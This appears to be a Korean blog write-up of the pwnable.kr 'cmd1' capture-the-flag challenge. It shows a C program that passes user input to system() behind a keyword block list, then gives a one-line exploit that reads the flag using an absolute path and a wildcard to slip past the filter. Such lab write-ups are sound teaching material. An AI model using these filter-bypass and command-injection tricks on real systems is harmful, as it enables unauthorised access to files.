#include <stdio.h>
#include <string.h>

int filter(char* cmd){
    int r=0;
    r += strstr(cmd, "flag")!=0;
    r += strstr(cmd, "sh")!=0;
    r += strstr(cmd, "tmp")!=0;
    return r;
}
int main(int argc, char* argv[], char** envp){
    putenv("PATH=/thankyouverymuch");
    if(filter(argv[1])) return 0;
    system( argv[1] );
    return 0;
}

argv[1]에 flag, sh, tmp 라는 문자열이 있으면 프로그램이 종료된다.

putenv 함수는 선언된 경로안에서 프로그램이 동작하게끔 경로를 설정한다.

How to Exploit

cat 대신 /bin/cat 을 넣어주자.

리눅스 와일드카드를 이용하면, flag를 읽을 수 있다. 와일드카드란 쉘에서 실행하고자 하는 프로그램 이름의 뒷 글자를 몇자 생략하고 그 생략된 자리에 * 하나를 붙여주면 실행시켜준다.

Exploit Code

cmd1@prowl:~$ ./cmd1 "/bin/cat fla*"

Capture The Flag

image

'Writeup [pwn] > pwnable.kr' 카테고리의 다른 글

collision  (0) 2020.03.07
coin1  (0) 2020.03.07
cmd2  (0) 2020.03.07
bof  (0) 2020.03.07
asm  (0) 2020.03.07

+ Recent posts